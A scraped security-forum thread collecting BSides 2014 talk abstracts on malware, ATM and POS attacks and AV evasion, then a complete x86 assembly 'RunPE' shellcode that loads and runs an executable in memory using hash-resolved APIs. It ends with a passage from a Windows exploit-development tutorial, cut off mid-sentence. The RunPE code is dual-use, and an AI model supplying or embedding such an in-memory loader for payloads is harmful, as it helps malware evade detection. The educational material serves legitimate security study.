Nytro

Vaccinating Android Milan Gabor - Danijel Grah Number of mobile applications is rising and Android still holds large market share. As these numbers of applications grow, we need better tools to understand how applications work and to analyze them. There is always a question if we can trust mobile applications to do only that they are allowed to do and if they are really secure when transmitting our personal information to different servers. In the presentation some runtime techniques will be discussed and a tool will be released that offers two approaches to analyze Android applications. Basic principle of first approach is injecting small piece of code into APK and then connect to it and use Java Reflection to runtime modify value, call methods, instantiate classes and create own scripts to automate work. The second approach offers much the same functionality, but can be used without modifying an application. It uses Dynamic Dalvik Instrumentation to inject code at runtime so that modifying of APK's isn't necessary. Tool is Java based and simple to use, but offers quite few new possibilities for security engineers and pentesters. Bio: Milan Gabor is a Founder and CEO of Viris, Slovenian company specialized in information security. He is security professional, pen-tester and researcher. Milan is a distinguished and popular speaker on information security. He has previously been invited to speak at various events at different IT conferences in Slovenia and loves to talk to IT students at different Universities. He also leads teaches ethical hacking. He is always on a hunt for new and uncovered things and he really loves and enjoys his job. Danijel Grah has a Bachelor degree in Computer Science at the University of Ljubljana, Slovenia. He is a Security Consultant at Viris for some time and is involved in penetration testing, security reviews, programming, consulting and research. He has deep understanding into threats, vulnerabilities and trends. He likes to practice Information Security in everyday life. Danijel is devoted to his work, open minded, enjoys new challenges and he never stops studying. Danijel Grah Sursa: Vaccinating Android Milan Gabor - Danijel Grah (BSides Las Vegas 2014) (Hacking Illustrated Series InfoSec Tutorial Videos)

Invasive Roots of Anti-Cheat Software Alissa Torres Some of the most sophisticated rootkit behaviors are implemented by today's anti-cheat gaming software, in a constantly evolving game of cat and mouse. Game hackers often look for flaws in a system or program’s logic, seeking to exploit them for their own performance gains. As cheats evolve to evade detection, so do the anti-cheat software products, employing hooking mechanisms to catch the newest subversions. Often the effectiveness of an anti-cheat implementation will affect legitimate users’ enjoyment (no one likes to play with cheaters, even cheaters themselves!), making it highly profitable for game developers to focus on improving this technology and expediently identifying game hackers. As a natural consequence, anti-cheat software has grown more invasive and intrusive. For example, a recent version of VAC (Valve's Anti-Cheat Software) was found to scrape gamers' system DNS cache in order to spot commercial game cheats and ban users. Just what else is being extricated from our gaming systems and which products are the worst offenders? By analyzing system memory, several anti-cheat software implementations will be isolated. With a cadre of reverse engineers, we will walk through just how these products are monitoring for game hacking behavior and if any of these techniques call into question aspects of their End User License Agreements. Bio: Alissa Torres is a certified SANS instructor, specializing in advanced computer forensics and incident response. Her industry experience includes serving in the trenches as part of the Mandiant Computer Incident Response Team (MCIRT) as an incident handler and working on a internal security team as a digital forensic investigator. She has extensive experience in information security, spanning government, academic, and corporate environments and holds a Bachelors degree from University of Virginia and a Masters from University of Maryland in Information Technology. Alissa has taught as an instructor at the Defense Cyber Investigations Training Academy (DCITA), delivering incident response and network basics to security professionals entering the forensics community. She has presented at various industry conferences and numerous B-Sides events (those being the best events, obviously!). In addition to being a GIAC Certified Forensic Analyst (GCFA), she holds the GCFE, GPEN, GCIH, CISSP, EnCE, and CFCE. Sursa: Invasive Roots of Anti-Cheat Software - Alissa Torres (BSides Las Vegas 2014) (Hacking Illustrated Series InfoSec Tutorial Videos)

Anatomy of memory scraping, credit card stealing POS malware Amol Sarwate Cedit card stealing RAM scraper malware is running amok compromising point-of-sale (POS) systems. Recent breaches have shown that exposure to such attacks is high and there is a lot at risk. This presentation shows how the attack is carried out by looking at the nuts-and-bolts of a home grown malware sample. During the demo we will pretend to be the bad guy and steal information from the belly of the POS process. Then we switch hats, expose the malware to multiple environmental hazards to study its behavior and identify strategies that can be implemented to make it hard for the malware to behave correctly and deter the bad guys. If all goes well, you will walk away with RAM scraping and prevention mojo. Bio: Amol heads Qualys' worldwide security engineering team responsible for vulnerability and compliance research. His team tracks emerging threats and develops software which identifies new vulnerabilities and insecure posture for Qualys’ VM, PC, PCI and QBC services. Amol is a veteran of the security industry and has devoted his career to protecting, securing and educating the community from security threats. Amol has presented his research on Vulnerability Trends, Security Axioms, SCADA security, Malware and other security topics at numerous security conferences, including RSA Conference, BlackHat, Hacker Halted, SecTor, BSides, InfoSec Europe, NullCon, GrrCon, ISSA, Homeland security Network HSNI and FS/ISAC. He regularly contributes to the SANS Top 20 expert consensus identifying the most critical security vulnerabilities. He writes the “HOT or NOT” column for SC Magazine and holds a US patent for Systems and Methods for Performing Remote Configuration Compliance Assessment of a Networked Computer Device Sursa: Anatomy of memory scraping, credit card stealing POS malware - Amol Sarwate (BSides Las Vegas 2014) (Hacking Illustrated Series InfoSec Tutorial Videos)

USB write blocking with USBProxy Dominic Spill USB mass storage devices are some of the most common peripherals in use today. They number in the billions and have become the de-facto standard for offline data transfer. USB drives have also been implicated in malware propagation (BadBIOS) and targeted attacks (Stuxnet). A USB write blocker may help to prevent some of these issues and allow researchers to examine the content of the attempted writes. USBProxy allows us to build an external write blocker using cheap and widely available hardware that will be undetectable by the host system. Bio: Dominic Spill has been building packet sniffers and researching wireless security since 2007. He has been a security researcher and the lead developer for Ubertooth for the past two years while also working on Daisho, FCC.io and USBProxy. Sursa: USB write blocking with USBProxy - Dominic Spill (BSides Las Vegas 2014) (Hacking Illustrated Series InfoSec Tutorial Videos)

The untold story about ATM Malware - Daniel Regalado Everyone talks about ATM Malware, we can see videos in Internet hacking these machines but no one explains HOW an attacker can take control of an ATM and command it to dispense the money at will. Is it possible to control an ATM from a cell phone? What about a Man-in-the-middle attack to intercept the traffic between the ATM and the bank? Come to my talk and learn these and many other techniques used from Venezuela to Russia Hackers that are emptying ATMs without restrictions. Bio: Daniel Regalado aka Danux is a Reverse engineer, Malware and Vulnerability researcher, he was responsible to dissect the latest dangerous ATM malware named Ploutus as well as many other different Advanced Persistent Threats. He is the lead author of Gray Hay Hacking book 4th Edition to be released by the end of 2014. Sursa: The untold story about ATM Malware - Daniel Regalado (BSides Las Vegas 2014) (Hacking Illustrated Series InfoSec Tutorial Videos)

Malware Analysis 101 - N00b to Ninja in 60 Minutes grecs Knowing how to perform basic malware analysis can go a long way in helping infosec analysts do some basic triage to either crush the mundane or recognize when its time to pass the more serious samples on to the big boys. This presentation covers several analysis environments and the three quick steps that allows almost anyone with a general technical background to go from n00b to ninja ( in no time. Well … maybe not a "ninja" per se but the closing does address follow-on resources on the cheap for those wanting to dive deeper into the dark world of malware analysis. Bio: Sursa: Malware Analysis 101 - N00b to Ninja in 60 Minutes - grecs (BSides Las Vegas 2014) (Hacking Illustrated Series InfoSec Tutorial Videos)

Evading code emulation: Writing ridiculously obvious malware that bypasses AV Kyle Adams Code emulation, a technology capable of detecting malware for which no signature exists. It’s a powerful step in the right direction for client security, but it’s a long way from mature. This talk will demonstrate how the code emulation engine in Anti-Virus Guard (AVG) can be reverse engineered by progressively testing its features, and ultimately evading detection. The result is a Command-and-Control (C&C) bot, in a non-obfuscated windows shell script, that AVG and many other leading AV engines will not detect. I will propose solutions on how these code emulation environments can be improved, making the detection of zero day malware far more successful going forward. This is not a jab against AVG, as they get enormous credit for including such a powerful tool in a free antivirus client. Bio: Kyle Adams has been involved with security since a very early age. Self-taught, he learned the basics of hacking and security defense strategies long before entering the professional world. Early on, much of his professional focus was on web security threats like SQLi, XSS, CSRF, etc…but more recently he started researching and working on products to defend against malware based threats. Kyle helped build and design the first commercial security solution based on deception and misinformation, evolving the concept of honeypot technology from a purely academic endeavor to a realistic intrusion prevention strategy (Junos WebApp Secure, formerly Mykonos). He is now working on introducing similar deception techniques as a detection and prevention methodology into the malware space. Sursa: Evading code emulation: Writing ridiculously obvious malware that bypasses AV - Kyle Adams (BSides Las Vegas 2014) (Hacking Illustrated Series InfoSec Tutorial Videos)

Hackers vs Auditors - Dan Anderson A view into what hackers are about and what auditors are about, comparison and contrasting. Bio: Dan Anderson has spent his life developing and implementing communications between systems and developing systems and applications in Military, Healthcare, and Mining. First, for the USAF, working on Navigation Systems on various aircraft, then in the Gold Mining industry for RTZ/Kennecott Utah Copper, and finally in the Healthcare Industry for Intermountain Healthcare. He has a background in Electrical Engineering and Chemistry with emphasis in Healthcare Informatics and has specialized in Information Security and Assurance, earning his Certified Information System Auditor (CISA), Certified in Risk and Information Systems Control (CRISC), both from the Information Systems Audit and Control Association (ISACA). Additional certifications include: Certified Ethical Hacker (C|EH), Payment Card Industry Internal Security Assessor (ISA and PCIP), and Information Technology Infrastructure Library (ITIL v3).Dan has worked for Healthcare IT Vendors such as Cerner, GE, and IDX, and consults globally in Information Systems Security, Regulatory Compliance, Information Systems Audit, and Intellectual Property Assurance. Some of Dan’s work includes consulting premier teaching hospitals such as Stanford Medical Center, Harvard’s Boston Children’s Hospital, University of Utah Hospital, and large Integrated Delivery Networks such as Sutter Health, Catholic Healthcare West, Kaiser Permanente, Veteran’s Health Administration, and Intermountain Healthcare. Dan is a Board member and current President of the Utah chapter of the Information Systems Audit and Control Association, (ISACA), a Board member of UtahSec.org, a Board member and Vice President of F.B.I. Infragard Salt Lake City Chapter, member of F.B.I. Citizen’s Academy Alumni Association, and member of the Security Technical Committee of Health Level Seven (HL7). Board Member, Center for Excellence in Higher Education Program Advisory Committee. Board Member, Utah Valley University Cyber Security Program Community Advisory Board. Board Member University of Utah Eccles School of Business Masters in Information Systems (MSIS) Program Advisory Board.Dan has served in positions as President, CEO, CIO, CISO, and Director for various companies, is currently a Chief Information Security Officer and Senior Management Consultant for Spectra Consulting Group, and also an Information Security Consultant for Intermountain Healthcare.In his spare time Dan volunteers as an Ice Hockey coach for over 14 years in various youth hockey associations in Utah, has served as Head coach for Riverton High School and Midget Major AA travel teams, earning USA Hockey’s highest coaching level 5 Master Coach.Dan lives in Murray Utah. Sursa: Hackers vs Auditors - Dan Anderson (BSides Las Vegas 2014) (Hacking Illustrated Series InfoSec Tutorial Videos)

Attacking Drupal Greg Foss Drupal is a very popular content management system that has been widely adopted by government agencies, major businesses, social networks, and more -- underscoring why understanding how Drupal works and properly securing these applications is of the utmost importance. This talk focuses on the penetration tester's perspective of Drupal and dives into streamlining the assessment and remediation of commonly observed application and configuration flaws by way of custom exploit code and security checklists, all of which are open-source and can be downloaded and implemented following the presentation. Bio: Greg Foss is a Senior Security Research Engineer with the LogRhythm Labs Threat Intelligence Team, where he focuses on developing defensive strategies, tools and methodologies to counteract advanced attack scenarios. He has over 7 years of experience in the Information Security industry with an extensive background in Security Operations, focusing on Penetration Testing and Web Application Security. Greg holds multiple industry certifications including the OSCP, GPEN, GWAPT, GCIH, and C|EH, among others. Sursa: Attacking Drupal - Greg Foss (BSides Las Vegas 2014) (Hacking Illustrated Series InfoSec Tutorial Videos)

[h=5][asm x86] RunPE shellcode[/h] use32 format binary include 'win32a.inc' include 'pe.inc' struct stAPITable pVirtualAllocEx_kernel32 dd ? pLoadLibraryA_kernel32 dd ? pVirtualProtect_kernel32 dd ? ends proc _GetDeltaProc, pPEImage stdcall RunPE_main, [pPEImage] .Delta: ret endp proc RunPE_main pPEImage local pFileHeader:DWORD local pNewPEPlace:DWORD local APITable[0x14]:BYTE local pAPITable:DWORD local iResult:DWORD local huser32:DWORD local szuser32[0xb]:BYTE local pGetHashSz:DWORD local hkernel32:DWORD push edi push ecx push eax mov eax, [ebp+04h] sub eax, _GetDeltaProc.Delta push eax pop ebx lea ebx, [ebx+GetHashSz] push ebx pop DWord [pGetHashSz] call GetK32 mov DWord [hkernel32], eax stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x632466f0 mov DWord [APITable+stAPITable.pVirtualAllocEx_kernel32], eax stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x15f8ef80 mov DWord [APITable+stAPITable.pVirtualProtect_kernel32], eax stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x71e40722 mov DWord [APITable+stAPITable.pLoadLibraryA_kernel32], eax lea ecx, [APITable] mov DWord [pAPITable], ecx stdcall verifyPE, [pPEImage] cmp eax, 0x0 jz .End push eax pop DWord [pFileHeader] stdcall DWord [APITable+stAPITable.pVirtualAllocEx_kernel32], -1, NULL, DWord [eax+IMAGE_OPTIONAL_HEADER32.SizeOfImage+sizeof.IMAGE_FILE_HEADER],\ MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN, PAGE_READWRITE mov [pNewPEPlace], eax stdcall loadFile, [pAPITable], [pFileHeader], [pPEImage], [pNewPEPlace] stdcall loadImportTable, [pAPITable], [pGetHashSz], [pNewPEPlace] test eax, eax jz .End stdcall reloc_fixup, [pNewPEPlace], [pFileHeader] stdcall setPermissions, [pAPITable], [pFileHeader], [pPEImage], [pNewPEPlace] mov esi, [pFileHeader] mov eax, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint] add eax, [pNewPEPlace] jmp eax .End: pop eax pop ecx pop edi mov eax, DWord [iResult] ret endp proc verifyPE pImagePE local iResult:DWORD pusha push DWord [pImagePE] pop edx cmp Word [edx], WORD 0x5a4d jnz .Exit mov ecx, DWord [edx+IMAGE_DOS_HEADER.e_lfanew] add edx, ecx cmp DWord [edx], DWORD 0x4550 jne .Exit lea edx, [edx+0x4] .Exit: mov DWord [iResult], edx popa push DWord [iResult] pop eax ret endp proc loadSection pImageSectionHeader:DWORD, pImageBase:DWORD, pBase:DWORD pushad mov edx, [pImageSectionHeader] mov esi, [pImageBase] add esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData] mov edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress] add edi, [pBase] mov ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData] cld rep movsb popad ret endp proc loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pImageBase, pBase:DWORD local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD pushad mov edx, [pImageFileHeader] movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections] mov [.iSectNum], eax lea edx, [edx+sizeof.IMAGE_FILE_HEADER] lea ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory] mov eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes] mov edx, sizeof.IMAGE_DATA_DIRECTORY mul edx add eax, ebx mov [.pSectionHeaders], eax mov eax, sizeof.IMAGE_SECTION_HEADER mov edx, [.iSectNum] mul edx add eax, [.pSectionHeaders] sub eax, [pImageBase] mov ecx, eax mov edi, [pBase] mov esi, [pImageBase] rep movsb mov ecx, [.iSectNum] mov ebx, [.pSectionHeaders] .load_section_loop: stdcall loadSection, ebx, [pImageBase], [pBase] add ebx, sizeof.IMAGE_SECTION_HEADER dec ecx jnz .load_section_loop .Exit: popad ret endp proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pImageBase:DWORD, pBase:DWORD local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD pushad xor eax, eax mov [.retval], eax mov edx, [pImageFileHeader] movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections] mov [.number_of_sections], eax add edx, sizeof.IMAGE_FILE_HEADER mov eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase] mov [.image_base], eax lea ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory] mov eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes] mov edx, sizeof.IMAGE_DATA_DIRECTORY mul edx add eax, ebx mov [.section_headers], eax mov eax, sizeof.IMAGE_SECTION_HEADER mov edx, [.number_of_sections] mul edx add eax, [.section_headers] mov ebx, [pImageBase] sub eax, ebx mov [.pe_header_size], eax mov edx, [APITable] lea eax, [.vprotect_ret] stdcall dword [edx+stAPITable.pVirtualProtect_kernel32], [pBase], [.pe_header_size], PAGE_READONLY, eax test eax, eax jz .exit mov ecx, [.number_of_sections] mov ebx, [.section_headers] .load_section_loop: stdcall setSection, [APITable], ebx, [pBase], [pImageBase] test eax, eax jz .exit add ebx, sizeof.IMAGE_SECTION_HEADER loop .load_section_loop inc [.retval] .exit: popad mov eax, [.retval] ret endp proc setSection APITable:DWORD, pSectionHeader:DWORD, pBase:DWORD, pImageBase:DWORD local .section_flags:DWORD, .retval:DWORD, .vprotect_ret:DWORD pushad xor ebx, ebx mov [.retval], ebx mov edx, [pSectionHeader] ;section execute/read/write? mov ebx, [edx+IMAGE_SECTION_HEADER.Characteristics] and ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE cmp ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE jne .no_execute_read_write mov eax, PAGE_EXECUTE_READWRITE mov [.section_flags],eax jmp .set_memory .no_execute_read_write: mov ebx, [edx+IMAGE_SECTION_HEADER.Characteristics] and ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ cmp ebx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ jne .no_execute_read mov eax, PAGE_EXECUTE_READ mov [.section_flags],eax jmp .set_memory .no_execute_read: mov ebx, [edx+IMAGE_SECTION_HEADER.Characteristics] and ebx, IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE cmp ebx, IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE jne .no_read_write mov eax, PAGE_READWRITE mov [.section_flags], eax jmp .set_memory .no_read_write: mov ebx, [edx+IMAGE_SECTION_HEADER.Characteristics] and ebx, IMAGE_SCN_MEM_READ cmp ebx, IMAGE_SCN_MEM_READ jne .no_read mov eax, PAGE_READONLY mov [.section_flags], eax jmp .set_memory .no_read: mov eax, PAGE_NOACCESS mov [.section_flags],eax .set_memory: mov edx, [pSectionHeader] mov eax, [edx + IMAGE_SECTION_HEADER.VirtualAddress] add eax, [pBase] mov ecx, [APITable] lea edi, [.vprotect_ret] stdcall DWord [ecx + stAPITable.pVirtualProtect_kernel32], eax, [edx + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], edi test eax, eax jz .Exit inc [.retval] .Exit: popad mov eax, [.retval] ret endp proc GetNtdll local iResult:DWORD push edi push esi push ebx push DWord [fs:0x30] pop edi mov esi, DWord [edi+0xC] push DWord [esi+0x1C] pop ebx push DWord [ebx+0x8] pop DWord [iResult] pop ebx pop esi pop edi mov eax, DWord [iResult] ret endp proc GetK32 local iResult:DWORD pusha mov ecx, DWord [fs:0x30] mov edi, DWord [ecx+0xC] mov edi, DWord [edi+0x1C] .NextModule: push DWord [edi+0x8] pop DWord [iResult] push DWord [edi+0x20] pop ebx mov edi, DWord [edi] movzx eax, Byte [ebx+0x18] test eax, eax jne .NextModule movzx eax, Byte [ebx] cmp eax, 0x4b je .Found_K32 cmp eax, 0x6b jne .NextModule .Found_K32: popa push DWord [iResult] pop eax ret endp proc GetHashSz strz push edx push ecx mov edx, DWord [strz] push DWORD 0x0 pop ecx push ecx .CalcHash: ror ecx, 7 xor [esp], ecx mov cl, Byte [edx] lea edx, [edx+0x1] test cl, cl jnz .CalcHash pop eax pop ecx pop edx ret endp proc AltGetProcAddressByHash hLib, fHashProc, iHashVal local iResult:DWORD pusha push DWORD 0x0 pop DWord [iResult] push DWord [hLib] pop esi movzx ecx, Word [esi] cmp ecx, 0x5a4d jne .End movzx edi, Word [esi+0x3c] add edi, esi cmp DWord [edi], DWORD 0x4550 jne .End push DWord [edi+0x78] pop ecx add ecx, esi mov ebx, DWord [ecx+0x18] push ecx push 0x0 pop edx push DWord [ecx+0x20] pop eax lea eax, [esi+eax] .MainLoop: push DWord [eax] pop edi add edi, esi push eax stdcall [fHashProc], edi cmp eax, DWord [iHashVal] pop eax jz .FoundProcname lea eax, [eax+0x4] lea edx, [edx+0x1] sub ebx, 0x1 or ebx, ebx jnz .MainLoop pop ecx jmp .End .FoundProcname: pop edi shl edx, 1 add edx, DWord [edi+0x24] movzx eax, Word [edx+esi] shl eax, 2 add eax, esi add eax, DWord [edi+0x1C] mov ebx, DWord [eax] lea ebx, [esi+ebx] push ebx pop DWord [iResult] .End: popa push DWord [iResult] pop eax ret endp xReloc = sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+0x8*IMAGE_DIRECTORY_ENTRY_BASERELOC proc reloc_fixup, dwImageBase:DWORD, pImageFileHeader:DWORD pusha mov edx, [dwImageBase] mov ebx, [pImageFileHeader] mov ebx, [ebx + sizeof.IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER32.ImageBase] sub edx, ebx ; edx -> reloc_correction // delta_ImageBase je .end test ebx, ebx jz .end mov eax, [pImageFileHeader] mov ebx, [eax+xReloc] add ebx, [dwImageBase] .block: mov eax, [ebx + 04h] ; ImageBaseRelocation.SizeOfBlock test eax, eax jz .end lea ecx, [eax - 008h] shr ecx, 001h lea edi, [ebx + 008h] .do_entry: movzx eax, word [edi] ; Entry push edx mov edx, eax shr eax, 00Ch ; Type = Entry >> 12 mov esi, [dwImageBase] ; ImageBase and dx, 0FFFh add esi, [ebx] add esi, edx pop edx .HIGH: ; IMAGE_REL_BASED_HIGH dec eax jnz .LOW mov eax, edx shr eax, 010h ; HIWORD(Delta) jmp .LOW_fixup .LOW: ; IMAGE_REL_BASED_LOW dec eax jnz .HIGHLOW movzx eax, dx ; LOWORD(Delta) .LOW_fixup: add word [esi], ax ; mem[x] = mem[x] + delta_ImageBase jmp .next_entry .HIGHLOW: ; IMAGE_REL_BASED_HIGHLOW dec eax jnz .next_entry add [esi],edx ; mem[x] = mem[x] + delta_ImageBase .next_entry: inc edi inc edi ; Entry++ loop .do_entry .next_base: add ebx, [ebx + 004h] jmp .block .end: popa ret endp proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD pushad xor eax, eax inc eax mov [.retval], eax mov edx, [image_base] mov eax, [edx + IMAGE_DOS_HEADER.e_lfanew] lea eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY] mov eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress] add eax, edx mov [.import_table],eax lea edi, [.null_directory_entry] mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR mov al, 0h rep stosb mov ebx, [.import_table] .next_directory_entry: lea esi, [.null_directory_entry] mov edi, ebx mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR rep cmpsb je .exit_success stdcall loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx test eax, eax jz .exit_error add ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR jmp .next_directory_entry .exit_success: inc [.retval] .exit_error: popad mov eax, [.retval] ret endp proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD pushad mov eax, [directory_entry] mov eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_] add eax, [image_base] ;load the corresponding dll mov ebx, [APITable] stdcall DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax test eax,eax jz .exit_error mov [.dll_image_base],eax mov edx, [directory_entry] mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk] add eax, [image_base] mov [.lookup_table], eax mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk] add eax, [image_base] mov [.import_address_table],eax xor ecx, ecx .next_lookup_entry: mov eax, [.lookup_table] add eax, ecx mov eax, [eax] test eax,eax jz .exit_success mov ebx, eax and eax, IMAGE_ORDINAL_FLAG32 jnz .exit_error .byname: add ebx, [image_base] lea ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_] mov eax, ebx push ecx stdcall GetHashSz, ebx stdcall AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax pop ecx test eax, eax jz .exit_error mov ebx, [.import_address_table] add ebx, ecx mov [ebx], eax add ecx, 4 jmp .next_lookup_entry .exit_success: popad mov eax,1 ret .exit_error: popad mov eax,0 ret endp dd _GetDeltaProc This shellcode can run pe in memory without CreateProcess API. EXE MUST have relocation table. It get only one parameter - pointer to PE Image For showing how it works I added simple demo. use32 format PE GUI 4.0 include 'win32a.inc' include 'pe.inc' entry start section '.code' code readable writeable executable RunPE: file 'RunPE.bin' start: stdcall RunPE, PEFILE PEFILE: file 'stored_exe.bin' Sursa: https://evilzone.org/code-library/%28asm-x86%29-runpe-shellcode/

O alternativa ar mai fi CALL ESP (cum a folosit neox initial) dar sa nu uitam ca la CALL se mai pun 4 octeti pe stiva (adresa de return).

Da, acum l-am descoperit si eu, pare cel mai detaliat. NOTA: Cei care vor sa il citeasca, sa il citeasca la adresa originala deoarece aici nu apar imaginile (nu stiu inca de ce).

Windows Exploit Development – Part 1: The Basics Written by:Mike Czumak Written on:December 6, 2013 Overview Welcome to Part 1 of a series of posts on Windows Exploit Development. In this first installment I’ll cover just the basics necessary to understand the content of future posts, including some Assembly syntax, Windows memory layout, and using a debugger. This will not be a comprehensive discussion on any of these topics so if you have no exposure to Assembly or if anything is unclear after you read through this first post I encourage you to take a look at the various links to resources I’ve provided throughout. My plan for the rest of the series is to walk through various exploit topics, from the simple (direct EIP overwrite) to the more complicated (unicode, egg hunters, ASLR bypass, heap spraying, device driver exploits etc), using actual exploits to demonstrate each. I don’t really have an end in sight, so as I think of more topics, I’ll continue to write posts. Purpose My goal for this series of posts is to introduce the concepts of finding and writing Windows application exploits in the hope that Security and IT professionals that haven’t had much technical exposure to these concepts might take an interest in software security and apply their skills to make private and public domain software more secure. Disclaimer: If you’re someone that wants to build exploits to partake in illegal or immoral activity, please go elsewhere. I should also mention that these posts are not intended to compete with other great tutorials out there such as Corelan Team, The Grey Corner, and Fuzzy Security. Instead, they are meant to complement them and provide yet another resource for explanations and examples — if you’re like me, you can never have too many examples. I highly encourage you to check out these other great sites. What You’ll Need Here’s what you’ll need if you want to follow along: A Windows installation: I plan to start with Windows XP SP3 but as I progress and cover different topics/exploits, I may also use other versions including Windows 7 and Windows Server 2003/2008. A Debugger: On the Windows host you’ll also need a debugger. I’ll primarily be using Immunity Debugger which you can download here. You should also get the mona plugin which can be found here. I’ll also use WinDbg for some of my examples. Instructions for download can be found here (scroll down the page for earlier versions of Windows). A Backtrack/Kali host (optional): I use a Kali host for all of my scripting and also plan to use it as the “attacking machine” in any remote exploit examples I use. I plan to use Perl and Python for the majority of my scripts so you may choose to install either language environment on your Windows host instead. Getting Started with Immunity Debugger Let’s begin by taking a look at a debugger since we’ll be spending quite a bit of time using one throughout these tutorials. I’m going to be primarily using Immunity debugger because it’s free and has some plugins and custom scripting capabilities that I plan on highlighting as we progress. I’ll use Windows Media Player as an example program to introduce Immunity Debugger. If you want to follow along, open Windows Media Player and Immunity Debugger. In Immunity, click File –> Attach and select the name of the application/process (in my example, wmplayer). Note: you can also launch WMP directly from Immunity by clicking File –> Open and selecting the executable. Once you’ve launched an executable or attached to a process within Immunity, you should be taken to the CPU view (if not, hit Alt+C), which looks like this: When you run/attach to a program with Immunity it starts in a paused state (see lower right hand corner). To run the program you can hit F9 (or the play button in the toolbar). To step into the next instruction (but pause program execution) hit F7. You can use F7 to step through each instruction one at a time. If at any time you want to restart the program, hit Ctrl+F2. I won’t be providing a complete tutorial on how to use Immunity, but I will try to mention any relevant shortcuts and hotkeys as I present new concepts in this and future posts. As you can see, the CPU window is broken up into four panes depicting the following information: The CPU Instructions – displays the memory address, opcode and assembly instructions, additional comments, function names and other information related to the CPU instructions The Registers – displays the contents of the general purpose registers, instruction pointer, and flags associated with the current state of the application.. The Stack – shows the contents of the current stack The Memory Dump – shows the contents of the application’s memory Let’s take a look at each one in a bit more depth, starting with the registers. CPU Registers The CPU registers serve as small storage areas used to access data quickly. In the x86 (32-bit) architecture there are 8 general-purpose registers: EAX, EBX, ECX, EDX, EDI, ESI, EBP, and ESP. They can technically be used to store any data, though they were originally architected to perform specific tasks, and in many cases are still used that way today. Here’s a bit more detail for each… EAX – The Accumulator Register. It’s called the accumulator register because it’s the primary register used for common calculations (such as ADD and SUB). While other registers can be used for calculations, EAX has been given preferential status by assigning it more efficient, one-byte opcodes. Such efficiency can be important when it comes to writing exploit shellcode for a limited available buffer space (more on that in future tutorials!). In addition to its use in calculations, EAX is also used to store the return value of a function. This general purpose register can be referenced in whole or in part as follows: EAX refers to the 32-bit register in its entirety. AX refers to the least significant 16 bits which can be further broken down into AH (the 8 most significant bits of AX) and AL (the 8 least significant bits). Here’s a basic visual representation: This same whole/partial 32-, 16-, and 8-bit referencing also applies to the next three registers (EBX, ECX, and EDX) EBX – The Base Register. In 32-bit architecture, EBX doesn’t really have a special purpose so just think of it as a catch-all for available storage. Like EAX, it can be referenced in whole (EBX) or in part (BX, BH, BL). ECX – The Counter Register. As its name implies, the counter (or count) register is frequently used as a loop and function repetition counter, though it can also be used to store any data. Like EAX, it can be referenced in whole (ECX) or in part (CX, CH, CL). EDX – The Data Register EDX is kind of like a partner register to EAX. It’s often used in mathematical operations like division and multiplication to deal with overflow where the most significant bits would be stored in EDX and the least significant in EAX. It is also commonly used for storing function variables. Like EAX, it can be referenced in whole (EDX) or in part (DX, DH, DL). ESI – The Source Index The counterpart to EDI, ESI is often used to store the pointer to a read location. For example, if a function is designed to read a string, ESI would hold the pointer to the location of that string. EDI – The Destination Index Though it can be (and is) used for general data storage, EDI was primarily designed to store the storage pointers of functions, such as the write address of a string operation. EBP – The Base Pointer EBP is used to keep track of the base/bottom of the stack. It is often used to reference variables located on the stack by using an offset to the current value of EBP, though if parameters are only referenced by register, you may choose to use EBP for general use purposes. ESP – The Stack Pointer ESP is used to track the top of the stack. As items are moved to and from the stack ESP increments/decrements accordingly. Of all of the general purpose registers, ESP is 